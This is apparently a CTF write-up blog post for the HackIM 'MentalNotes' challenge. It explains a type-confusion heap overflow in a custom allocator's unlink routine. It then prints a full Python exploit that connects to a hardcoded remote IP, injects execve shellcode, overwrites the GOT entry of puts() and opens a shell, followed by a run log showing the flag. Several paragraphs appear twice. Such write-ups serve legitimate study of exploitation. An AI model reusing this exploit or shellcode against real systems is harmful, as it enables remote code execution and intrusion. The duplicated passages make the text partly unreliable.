Exploitation 4 was a 32 bit ELF without NX protection. The binary implements a custom allocator using sbrk. Each chunk holds a metadata of 12 byte. First DWORD holds the size and last bit is set if the chunk is used. 2nd DWORD points to next chunk and 3rd DWORD points to previous chunk. Rest of details of allocator could be skipped for understanding this exploit.
Deallocator routine implements a unlink operation for freeing chunks. It has a bug when computing address of header, the deallocator does (pointer-16) when the header is only 12 bytes.
Vulnerability
The binary allows to add notes for each predefined 3 types. Type 0 allocating 100 bytes, type 1 allocating 200 bytes and type 2 allocating 400 bytes for notes. bss section maintains an array of all allocated chunks which could be accessed using id.
The vulnerability is because, type information is not saved. During edit operation, type information could be changed so that 200 or 400 bytes could be read into a 100 byte chunk. there by corrupting metadata of adjacent chunks.
Deallocator routine
ASLR bypass and Exploit
Though we have info leak using show Note feature, we could allocate a 3rd chunk and overwrite this with shellcode. In the 2nd chunk preserve the 2nd DWORD, except for 1 byte newline overwrite(this will be read as previous pointer). Overwrite size DWORD with address that needs to be overwritten, GOT entry of puts() in our case. This will be read as next pointer.
Since next_ptr is GOT of puts() and prev_ptr is address of 3rd chunk with shellcode, we could reliably overwrite the GOT entry to get shell. Below is the full exploit
Deallocator routine implements a unlink operation for freeing chunks. It has a bug when computing address of header, the deallocator does (pointer-16) when the header is only 12 bytes.
Please enter one of the following option: 1 to add a Note. 2 to delete a Note. 3 to edit a Note. 4 to show a Note. 5 to exit. Your Choice: 1 Give the type of the Note: 0 Please enter one of the following option: 1 to add a Note. 2 to delete a Note. 3 to edit a Note. 4 to show a Note. 5 to exit. Your Choice: 2 Give the Note id to delete: 0 Segmentation fault (core dumped)These details will be useful during exploitation.
Vulnerability
The binary allows to add notes for each predefined 3 types. Type 0 allocating 100 bytes, type 1 allocating 200 bytes and type 2 allocating 400 bytes for notes. bss section maintains an array of all allocated chunks which could be accessed using id.
The vulnerability is because, type information is not saved. During edit operation, type information could be changed so that 200 or 400 bytes could be read into a 100 byte chunk. there by corrupting metadata of adjacent chunks.
Deallocator routine
chunk_to_delete = ptr - 16; // wrong index next_ptr = *(_DWORD *)(ptr - 16 + 4); // size is read prev_ptr = *(_DWORD *)(ptr - 16 + 8); // next_ptr is read if ( prev_ptr ) *(_DWORD *)(prev_ptr + 4) = next_ptr; // if not first node, next->next = current-> size if ( next_ptr ) *(_DWORD *)(next_ptr + 8) = prev_ptr; // if not last node, size->prev = current-> nextBy overwriting the metadata of chunk, we could get a write anything anywhere primitive.
ASLR bypass and Exploit
Though we have info leak using show Note feature, we could allocate a 3rd chunk and overwrite this with shellcode. In the 2nd chunk preserve the 2nd DWORD, except for 1 byte newline overwrite(this will be read as previous pointer). Overwrite size DWORD with address that needs to be overwritten, GOT entry of puts() in our case. This will be read as next pointer.
Since next_ptr is GOT of puts() and prev_ptr is address of 3rd chunk with shellcode, we could reliably overwrite the GOT entry to get shell. Below is the full exploit
#!/usr/bin/env python import struct import telnetlib import socket nop = chr(0x90) * 30 jmp = '9090eb1c'.decode('hex') execve = '31c9f7e151682f2f7368682f62696e89e3b00bcd80'.decode('hex') payload = jmp + nop + execve puts = 0x0804b014 ip = "127.0.0.1" ip = "54.163.248.69" port = 9004 soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.connect((ip, port)) msg = dict() msg['CHOICE'] = 'Your Choice:\n' msg['NOTETYPE'] = 'Give the type of the Note:\n' msg['DELETEID'] = 'Give the Note id to delete:\n' msg['EDITID'] = 'Give the Note id to edit:\n' msg['EDITTYPE'] = 'Give the type to edit:\n' msg['SETNOTE'] = 'Give your Note:\n' msg['GETNOTE'] = 'Give the Noteid to print:\n' def recv_msg(delimiter): global soc rbuffer = '' while not rbuffer.endswith(delimiter): rbuffer += soc.recv(1) return rbuffer def send_msg(m): global soc soc.send(m + chr(0xa)) print "[*] Creating 1st note" recv_msg(msg['CHOICE']) # add 1st note send_msg('1') recv_msg(msg['NOTETYPE']) # set type to 0 send_msg('0') print "[*] Creating 2nd note" recv_msg(msg['CHOICE']) # add 2nd note send_msg('1') recv_msg(msg['NOTETYPE']) # set type to 0 send_msg('0') print "[*] Creating 3rd note" recv_msg(msg['CHOICE']) # add 3rd note send_msg('1') recv_msg(msg['NOTETYPE']) # set type to 0 send_msg('0') print "[*] Setting up payload in 3rd note by editing 2nd" recv_msg(msg['CHOICE']) # edit 2nd note to overflow into 3rd for ASLR bypass send_msg('3') recv_msg(msg['EDITID']) # edit first chunk send_msg('1') recv_msg(msg['EDITTYPE']) # change note type send_msg('2') recv_msg(msg['SETNOTE']) send_msg('A'*110 + payload) print "[*] Overwriting pointers in 2nd note by editing 1st" recv_msg(msg['CHOICE']) # edit 1st note to overflow into 2nd send_msg('3') recv_msg(msg['EDITID']) # edit 0th chunk send_msg('0') recv_msg(msg['EDITTYPE']) # change note type send_msg('2') recv_msg(msg['SETNOTE']) send_msg('A'*116 + struct.pack("<I", puts - 8)) print "[*] Deleting 2nd note to overwrite GOT entry of puts()" recv_msg(msg['CHOICE']) # trigger by delete send_msg('2') recv_msg(msg['DELETEID']) # delete 2nd note send_msg('1') print "[*] Shell" s = telnetlib.Telnet() s.sock = soc s.interact()
renorobert@ubuntu:~/HackIM/MentalNotes$ python sploit_mentalnote.py [*] Creating 1st note [*] Creating 2nd note [*] Creating 3rd note [*] Setting up payload in 3rd note by editing 2nd [*] Overwriting pointers in 2nd note by editing 1st [*] Deleting 2nd note to overwrite GOT entry of puts() [*] Shell cat flag.txt flag{y0u_br0k3_1n70_5h3rl0ck_m1ndp4l4c3}Flag for the challenge is flag{y0u_br0k3_1n70_5h3rl0ck_m1ndp4l4c3}
No comments :
Post a Comment